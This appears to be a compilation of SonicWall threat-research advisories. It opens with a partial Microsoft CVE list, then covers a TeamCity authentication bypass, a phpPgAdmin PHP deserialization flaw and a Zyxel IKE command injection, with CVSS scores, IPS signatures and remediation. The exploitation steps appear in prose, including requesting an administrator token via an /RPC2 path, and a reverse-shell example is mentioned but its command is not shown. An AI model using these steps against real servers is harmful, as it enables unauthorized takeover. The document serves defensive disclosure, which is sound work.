CVE-2023-36581 Microsoft Message Queuing Denial of Service Vulnerability
CVE-2023-36585 Active Template Library Denial of Service Vulnerability
CVE-2023-36602 Windows TCP/IP Denial of Service Vulnerability
CVE-2023-36603 Windows TCP/IP Denial of Service Vulnerability
CVE-2023-36606 Microsoft Message Queuing Denial of Service Vulnerability
CVE-2023-36703 DHCP Server Service Denial of Service Vulnerability
CVE-2023-36707 Windows Deployment Services Denial of Service Vulnerability
CVE-2023-36709 Microsoft AllJoyn API Denial of Service Vulnerability
CVE-2023-36717 Windows Virtual Trusted Platform Module Denial of Service Vulnerability
CVE-2023-36720 Windows Mixed Reality Developer Tools Denial of Service Vulnerability
CVE-2023-36728 Microsoft SQL Server Denial of Service Vulnerability
CVE-2023-38171 Microsoft QUIC Denial of Service Vulnerability

Information Disclosure Vulnerabilities 
CVE-2023-29348 Windows Remote Desktop Gateway (RD Gateway) Information Disclosure Vulnerability
CVE-2023-36429 Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability
CVE-2023-36438 Windows TCP/IP Information Disclosure Vulnerability
CVE-2023-36563 Microsoft WordPad Information Disclosure Vulnerability – SonicWALL is investigating this CVE.
CVE-2023-36567 Windows Deployment Services Information Disclosure Vulnerability
CVE-2023-36576 Windows Kernel Information Disclosure Vulnerability
CVE-2023-36596 Remote Procedure Call Information Disclosure Vulnerability
CVE-2023-36706 Windows Deployment Services Information Disclosure Vulnerability
CVE-2023-36713 Windows Common Log File System Driver Information Disclosure Vulnerability
CVE-2023-36722 Active Directory Domain Services Information Disclosure Vulnerability
CVE-2023-36724 Windows Power Management Service Information Disclosure Vulnerability

Security Feature Bypass Vulnerabilities 
CVE-2023-36434 Windows IIS Server Elevation of Privilege Vulnerability
CVE-2023-36564 Windows Search Security Feature Bypass Vulnerability
CVE-2023-36584 Windows Mark of the Web Security Feature Bypass Vulnerability
CVE-2023-36698 Windows Kernel Security Feature Bypass Vulnerability
CVE-2023-36700 Microsoft Defender Security Feature Bypass Vulnerability

Spoofing Vulnerability 
CVE-2023-36416 Microsoft Dynamics 365 (on-premises) Cross-site Scripting Vulnerability

JetBrains TeamCity Authentication Bypass Vulnerability

Overview

SonicWall Capture Labs Threat Research Team became aware of the threat, assessed its impact, and developed mitigation measures for JetBrains TeamCity Server.

JetBrains TeamCity, a robust continuous integration (CI) and continuous deployment (CD) server, hails from the creators of renowned tools IntelliJ IDEA and PyCharm. TeamCity offers a comprehensive suite of features that enable development teams to automate their build and deployment processes, adhere to agile practices, and extract detailed analytics. Its adaptability, rooted in its versatile plugin system and support for various version control systems, positions it as a top choice for many developers.

A critical vulnerability, allowing authentication bypass and leading to remote code execution (RCE), was identified in JetBrains TeamCity. Versions prior to 2023.05.4 are vulnerable due to a misconfiguration in the RequestInterceptors constructor. This flaw meant that any incoming HTTP request matching the wildcard path /**/RPC2 would bypass authentication.

Attackers can exploit this vulnerability by sending a single HTTP POST request to the server. Successful exploitation would enable unauthorized individuals to execute arbitrary code on the TeamCity server.

CVE Details

This vulnerability has been assigned the Common Vulnerabilities and Exposures (CVE) identifier CVE-2023-42793.

The overall CVSS score is 8.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RL:O/RC:C).

Base score is 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), based on the following metrics:
  • Attack vector is network.
  • Attack complexity is low.
  • Privileges required is none.
  • User interaction is none.
  • Scope is unchanged.
  • Impact of this vulnerability on data confidentiality is high.
  • Impact of this vulnerability on data integrity is high.
  • Impact of this vulnerability on data availability is high.
Temporal score is 8.8 (E:P/RL:O/RC:C), based on the following metrics:
  • The exploit code maturity level of this vulnerability is proof of concept code.
  • The remediation level of this vulnerability is official fix.
  • The report confidence level of this vulnerability is confirmed.

Technical Overview

This configuration file buildServerSpringWeb.xml establishes interceptors, notably the calledOnceInterceptors bean, which manipulates incoming HTTP requests. This bean leads to the instantiation of the jetbrains.buildServer.controllers.interceptors.RequestInterceptors class, which features the wildcard path /**/RPC2. On instantiation, it integrates several beans, including the authorizedUserInterceptor, into its myInterceptors list.

The RequestInterceptors class is pivotal in handling HTTP requests via its preHandle method. If requestPreHandlingAllowed returns false, authentication checks are bypassed. However, if true, all interceptors in myInterceptors ensure authentication. The vulnerability emerges when requests match the wildcard path /**/RPC2, bypassing the typical authentication processes of the myInterceptors list.

To exploit this flaw, attackers target TeamCity’s REST API. Decompiling this library reveals the REST API’s method-to-URI mapping using the @Path annotation. This permits URIs ending with /RPC2, evading authentication. By zeroing in on the createToken method in the jetbrains.buildServer.server.rest.request.UserRequest class, attackers can forge requests, securing an Administrator authentication token, and granting wide-ranging access to the REST API.

Triggering the Vulnerability

  • The target must be running a JetBrains TeamCity version prior to 2023.05.4.
  • The attacker must have network access to the vulnerable software.
  • A valid HTTP POST request containing /**/RPC2 with a valid ID=’n’ URI.

Exploitation

As demonstrated in the video below, this vulnerability can be exploited using a single HTTP or HTTPS POST request. This request will ask the server to provide an authentication token for a specific user. Therefore, contained within the request, the attacker must specify a user for the token to be generated. This is done using the “id” parameter in the URI. While an attacker can specify any user, the user “id” of 1 will always be the Administrator user created during system installation and, therefore a prime candidate for an attacker to leverage. A successful POST request will return an XML token object named “RPC2“ containing a “value” parameter holding a valid authentication token.

SonicWall Protections

  • IPS:15923 JetBrains TeamCity Authentication Bypass

Remediation Recommendations

The risks posed by this vulnerability can be mitigated or eliminated by:
  • Updating to version 2023.05.4 or newer of TeamCity.
  • Review JetBrains latest released security patch plugin.
  • Utilize up-to-date IPS signatures to filter network traffic.
  • Alternatively, consider taking the server offline.

Relevant Links

  • JetBrain Homepage
  • CVSS Calculator Metrics
  • Vendor Advisory
  • CVE Listing

phpPgAdmin Deserialization Vulnerability

Overview:

  SonicWall Capture Labs Threat Research Team has observed the following threat:

  phpPgAdmin is an open-source, web-based administration tool for managing PostgreSQL, an advanced, enterprise-class, and open-source relational database system. phpPgAdmin is written in PHP and provides a user-friendly interface that allows users to perform various database management tasks. Users can create, modify, and delete databases, tables, and records through this interface, making it a valuable tool for those who prefer a graphical user interface over command-line interaction.

  It has been reported that phpPgAdmin 7.14.4 and earlier versions have a deserialization vulnerability. Deserialization vulnerabilities occur when an application unsafely processes external input during the deserialization process, potentially leading to code execution, denial of service, or elevation of privileges. This vulnerability underscores the importance of using secure coding practices and regularly updating software to protect against known vulnerabilities.

  Vendor Homepage

CVE Reference:

  This vulnerability has been assigned the Common Vulnerabilities and Exposures (CVE) identifier CVE-2023-40619.

  CVE Listing

Common Vulnerability Scoring System (CVSS):

  The overall CVSS score is 8.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RL:O/RC:C).

  Base score is 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), based on the following metrics:
    • Attack vector is network.
    • Attack complexity is low.
    • Privileges required is none.
    • User interaction is none.
    • Scope is unchanged.
    • Impact of this vulnerability on data confidentiality is high.
    • Impact of this vulnerability on data integrity is high.
    • Impact of this vulnerability on data availability is high.
  Temporal score is 8.8 (E:P/RL:O/RC:C), based on the following metrics:
    • The exploit code maturity level of this vulnerability is proof of concept code.
    • The remediation level of this vulnerability is official fix.
    • The report confidence level of this vulnerability is confirmed.

  CVSS Calculator Metrics

Technical Overview:

  The doEmpty function in the tables.php file is responsible for emptying tables in a database, and it is designed to handle both single and multiple table emptying operations. It works by taking user input from the $_REQUEST[‘ma’] or $_REQUEST[‘table’] global variables, which are populated by the client through HTTP GET or POST requests. When multiple tables are specified through $_REQUEST[‘ma’], the function iterates over each table, unserializes the user input, and performs the emptying operation on each specified table. The use of the unserialize function here is critical as it exposes a potential security vulnerability known as PHP Object Injection due to the way it handles serialized objects.

  

  PHP Object Injection vulnerabilities occur when user-supplied input is passed to the unserialize function, which can result in the instantiation of objects and the execution of the magic method __wakeup. In this specific case, the user could potentially pass a serialized object with a malicious __wakeup method to the $_REQUEST[‘ma’] variable, leading to the execution of arbitrary PHP code. This could allow an attacker to perform various malicious activities, such as executing system commands, creating, deleting, or modifying files, or even launching attacks against other systems. Consequently, the use of unserialize on user-supplied data in this function poses a severe security risk and could lead to a full server compromise if exploited successfully.

  To mitigate the risks associated with this vulnerability, it is crucial to avoid using the unserialize function on user-supplied input. Instead, alternative methods for handling user data, such as JSON encoding and decoding, should be employed. Additionally, input validation and sanitization should be implemented to ensure that only expected and safe data is processed by the application.

Triggering the Problem:

  • The target system must have the vulnerable product installed and running.
  • The attacker must have network connectivity to the affected ports.
  • The attacker must send malicious serialized payloads to the tables.php endpoint.
  • The query string parameter ‘ma’ is used to trigger the ‘unserialize’ function by injecting serialized data.

Triggering Conditions:

  The unserialize() deserialization vulnerability in PHP occurs when the unserialize() function is passed user input without adequate validation, consequently triggering magic methods like __wakeup() or __destruct() in an object-oriented context. These magic methods are invoked automatically during deserialization, providing an avenue for attackers to execute malicious code or carry out other harmful activities. The vulnerability underscores the importance of validating or sanitizing user input and avoiding the use of unserialize() with untrusted data, to prevent potential exploitation.

Attack Delivery:

  The following application protocols can be used to deliver an attack that exploits this vulnerability:
    • HTTP
    • HTTPS

  

SonicWall’s, (IPS) Intrusion Prevention System, provides protection against this threat:

  • IPS:15919 phpPgAdmin Insecure Deserialization

Remediation Details:

  The risks posed by this vulnerability can be mitigated or eliminated by:
    • Configure the vulnerable product to allow access to trusted clients only.
    • Update to a non-vulnerable version of the product.
    • Filter attack traffic using the signature above.
  A Third Party has released the following advisory regarding this vulnerability:
  Third Party Advisory

Zyxel IKE Remote Command Execution

The SonicWall Capture Labs Threat Research team has observed attackers targeting vulnerable Zyxel devices by exploiting a  Zyxel IKE Remote Command Execution vulnerability.

Zyxel website provides the following description of their products:

“The Zyxel USG FLEX Series supports IPsec, SSL, and L2TP-based VPNs, making it an ideal solution for providing a secure network to access remote or home-based workers. Zero-configuration remote access removes complicated setup challenges making it easier for employees to establish VPN connections to the office without the need for IT support.

The Zyxel ZyWALL ATP series is an Advanced Threat Protection Firewall empowered by cloud intelligence leveling up network protection, especially in tackling unknown threats.

Improper error message handling in Zyxel ZyWALL/USG,VPN,USG FLEX and ATP firmware series could allow an unauthenticated attacker to execute some OS commands remotely by sending crafted packets to an affected device.”

OS Remote Command Execution

Portswigger describes OS command injection as a web security flaw that permits a malicious actor to run arbitrary operating system (OS) commands on the server where an application is running. This causes OS remote command execution which in turn can potentially lead to a complete compromise of the application and its associated data. Furthermore, attackers frequently use OS command injection vulnerabilities as a stepping stone to compromise additional components of the hosting infrastructure. This is achieved by exploiting trust relationships to extend the attack to other systems within the organization.

Zyxel IKE Remote Command Execution | CVE-2023-28771
There is a command injection vulnerability in the Internet Key Exchange (IKE) packet decoder. This vulnerability can be exploited remotely over UDP port 500 on the WAN interface of several Zyxel devices. Importantly, these affected devices are vulnerable even in their default configuration, and if exploited, this vulnerability allows for command execution with root privileges.

Rapid 7 researchers identified that the vulnerability could be triggered during the decoding of an IKEv2 Notify payload. When an IKEv2 Notify message with a message-type of NO_PROPOSAL_CHOSEN is processed, the attacker can provide arbitrary commands in the Notification Data field. These commands will be executed with root privileges.

Let us look at an example of exploitation :

is a command injection attempt that tries to establish a reverse shell connection to the IP address on port 4444. If successful, it would open a shell on the target machine and potentially give the attacker control over it.

IOCs

Since the vulnerability exists within a logging function it is possible to monitor the log files to potentially understand if a compromise has occurred.   The log file /tmp/sdwan/vpndebug.log would display the message “[cgnat] 4th cgnat convert wrong” if the vulnerable code path was trigger.  It is important to note this would not confirm exploitation occurred, only that the vulnerable code path was triggered.

SonicWall Capture Labs provides protection against this threat via the following signatures:

  • IPS 15876 : Zyxel IKE Remote Command Execution
  • IPS 15898 : Zyxel IKE Remote Command Execution 2

Following Zyxel versions are vulnerable:
Affected series    Affected version
ATP                       V4.60 to V5.35
USG FLEX           V4.60 to V5.35
VPN                       V4.60 to V5.35
ZyWALL/USG     V4.60 to V4.73

Zyxel has issued a patch for this vulnerability.

Threat Graph

IPS 15898 signature hits in the past two weeks have maintained a consistent trend suggesting attackers are trying to exploit this vulnerability.